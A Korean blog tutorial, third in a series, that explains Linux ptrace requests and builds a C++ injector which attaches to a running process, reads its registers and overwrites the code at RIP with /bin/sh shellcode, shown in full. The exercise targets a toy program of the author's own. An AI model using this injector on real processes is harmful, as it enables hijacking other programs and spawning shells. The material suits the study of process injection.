Security



Shared Library Injection 세 번째 포스트입니다.

이전 글은 아래의 링크에서 확인하시기 바랍니다.



2016/07/18 - [Security] - Shared Library Injection (1)

2016/07/12 - [Security] - Shared Library Injection (2)



이번 포스트는 ptrace 를 이용한 shared library injection에 대해 알아보도록 하겠습니다.


ptrace는 앞의 포스트에서 잠시 등장했던 strace, ltrace와는 달리 프로그램이 아니라 리눅스에서 지원하는 시스템 콜입니다.

ptrace의 함수 원형은 아래와 같습니다.


long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);


사용자는 _ptrace_request 값들을 이용하여 다른 프로세스의 실행을 관찰 또는 제어하는 것이 가능합니다.

_ptrace_request 값들은 아래와 같습니다.



PTRACE_TRACEME

자기 자신을 추적 가능하도록 만드며, 부모 프로세스에 의해 추적되는 것을 나타냅니다.


PTRACE_PEEKTEXT, PTRACE_PEEKDATA

자식 프로세스의 주어진 주소의 WORD를 읽어 리턴합니다. 


PTRACE_PEEKUSER

자식 프로세스의 USER 영역 주소의 WORD를 읽어 리턴합니다.


PTRACE_POKETEXT, PTRACE_POKEDATA

부모 프로세스 메모리 주소에서 자식 프로세스 메모리 주소로 WORD를 복사합니다.


PTRACE_POKEUSER

부모 프로세스 메모리 주소에서 자식 프로세스 주소의 USER 영역으로 WORD를 복사합니다.


PTRACE_GETREGS, PTRACE_GETFPREGS

자식 프로세스의 레지스터들을 부모 프로세스 data 위치로 복사합니다.


PTRACE_SETREGS, PTRACE_SETFPREGS

부모 프로세스의 data 위치에서 레지스터들을 자식 프로세스로 복사합니다.


PTRACE_CONT

자식 프로세스를 다시 시작합니다.


PTRACE_SYSCALL, PTRACE_SINGLESTEP

자식 프로세스를 다시 시작한 후 인스트럭션 하나를 실행하고 다시 멈춥니다.


PTRACE_KILL

자식 프로세스에게 SIG_KILL을 보냅니다.


PTRACE_ATTACH

지정 프로세스의 부모 프로세스로 ATTACH 합니다.


PTRACE_DETACH

ATTACH된 자식 프로세스를 DETACH 합니다.


참고: http://linux4u.kr/manpage/ptrace.2.html



PTRACE의 ATTACH, PEEK, POKE, SINGLESTEP, DETACH를 이용하면 다른 프로세스에 shared library injection이 가능합니다.


먼저 code injection을 할 대상 테스트 프로그램을 아래와 같이 만듭니다.


#include <iostream>
#include <thread>
#include <chorono>

int main()
{
    unsigned long count = 1;
    std::cout << "server start" << std::endl;
    while(true)
    {
        std::cout << "server running " << count << std::endl;
        std::this_thread::sleep_for(std::chrono::seconds(10));
        count++;
    }

    std::cout << "server stop" << std::endl;
}

위의 테스트 프로그램은 10초당 한번 메세지를 출력하는 프로그램입니다.

해당 프로그램을 빌드하여 실행시키면 아래와 같습니다.



이 테스트 프로그램에 Code Injection을 실행해 임의의 코드를 실행해 보도록 하겠습니다.



Code Injection 프로그램을 하나씩 만들어 보도록 하겠습니다.

먼저 ptrace를 이용해 attach와 detach를 해야 합니다.


#include <iostream>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>


int main(int argc, char *argv[])
{   
    const pid_t pid = std::atoi(argv[1]);
    
    //
    // Attach
    //
    
    int waitpidstatus = 0;
    
    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {   
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;
    
    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {   
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }


    //
    // Detach
    //
    ptrace(PTRACE_DETACH, pid, 0, 0);


    return 0;
}


먼저 PTRACE_ATTACH를 이용해 테스트 프로그램에 Attach를 시도합니다.

Attach가 성공하면 해당 프로세스로부터 상태 정보를 얻어옵니다.

WUNTRACED 옵션은 종료되거나 멈춘 프로세스로부터 상태정보를 얻어오는 옵션입니다.

상태정보를 얻어오는데까지 성공하면 PTRACE_DEACH를 이용해 Detach를 합니다.


위 프로그램을 컴파일하여 테스트 프로그램에 Injection한 결과는 아래와 같습니다.




테스트 프로세스에 Attach, Deatch가 성공했으니 이제 조금 더 살을 붙여보겠습니다.

이번에는 Attach 되어 잠시 중지된 프로세스의 레지스터 값을 가져오도록 하겠습니다.



#include <iostream>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>

int main(int argc, char *argv[])
{
    const pid_t pid = std::atoi(argv[1]);

    
    //
    // Attach
    //

    int waitpidstatus = 0;
    
    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;
    
    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }

    
    //
    // Get Register Info
    //
    struct user_regs_struct regs;
    memset(®s, 0x0, sizeof(struct user_regs_struct));
    if(ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
    {
        std::cerr << "PTRACE_GETREGS failed" << std::endl;
        return -1;
    }

    std::cout << "rip: " << std::hex << regs.rip << std::endl;

    ptrace(PTRACE_DETACH, pid, 0, 0);

    return 0;
}


레지스터 정보를 가져오기 위해 PTRACE_GETREGS 옵션을 사용했습니다.

해당 옵션을 이용해 user_regs_struct 구조체 변수에 해당 프로세스의 모든 레지스터 정보를 가져옵니다.



위 프로그램을 실행한 결과는 아래와 같습니다.

Attach에 의해 잠시 멈춘 프로세스의 RIP를 출력하고 있습니다.




자, 여기까지 왔으니 이제 끝이 보이기 시작합니다.

마지막으로 코드를 삽입하고 실행시키기만 하면 됩니다.

완성된 코드는 아래와 같습니다.


#include <iostream>
#include <memory>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>

// run /bin/sh
unsigned char code[] = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f"
                       "\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57"
                       "\x54\x5f\x6a\x3b\x58\x0f\x05";

#define offsetof(TYPE, MEMBER) ((unsigned long) &((TYPE *)0)->MEMBER)

int main(int argc, char *argv[])
{
    const pid_t pid = std::atoi(argv[1]);


    //
    // Attach
    //

    int waitpidstatus = 0;

    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;

    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }


    //
    // Get Register Info
    //

    struct user_regs_struct regs;
    memset(®s, 0x0, sizeof(struct user_regs_struct));
    if(ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
    {
        std::cerr << "PTRACE_GETREGS failed" << std::endl;
        return -1;
    }

    std::cout << "rip: " << std::hex << regs.rip << std::endl;

    //
    // Set Buffer to Shellcode
    //

    const std::size_t codeLength = sizeof(code);
    std::unique_ptr buffer(new char[codeLength]);

    memset(buffer.get(), 0x0, codeLength);
    memcpy(buffer.get(), code, sizeof(code));

    //
    // Write shellcode to target process
    //

    for(unsigned int i = 0; i < sizeof(code); i++)
    {
        ptrace(PTRACE_POKETEXT, pid, regs.rip + i, *(int*)(buffer.get() + i));
    }
    std::cout << "Code Inject Success" << std::endl;

    //
    // Detach
    //

    ptrace(PTRACE_DETACH, pid, 0, 0);


    return 0;
}


/bin/sh를 실행시키는 shellcode를 선언하고 char형 buffer에 복사합니다.

Attach된 프로세스의 rip가 가리키는 주소에 shellcode를 차례로 복사합니다.

그리고 프로세스를 Detach 합니다.


이제 테스트 프로세스가 다시 시작될 때 rip가 가리키는 shellcode를 실행하게 됩니다.


아래는 해당 프로그램의 실행 결과 입니다.



성공적으로 Code를 Injection 하였습니다.


지금까지 살펴본 방법을 이용하여 Shared library를 로딩하는 shellcode를 삽입하면 Shared library injection이 됩니다.

해당 방법에 대한 잘 만들어진 예제는 아래를 참고하시기 바랍니다.

https://github.com/gaffe23/linux-inject/blob/master/inject-x86_64.c



완성된 코드는 아래에 올려두었습니다.

main.cpp



이번 포스트는 여기서 마치도록 하겠습니다.

읽어주셔서 감사합니다.






'Security' 카테고리의 다른 글

how to exploit window kernel (1)  (0) 2017.07.21
Shared Library Injection (2)  (0) 2016.07.25
Shared Library Injection (1)  (0) 2016.07.18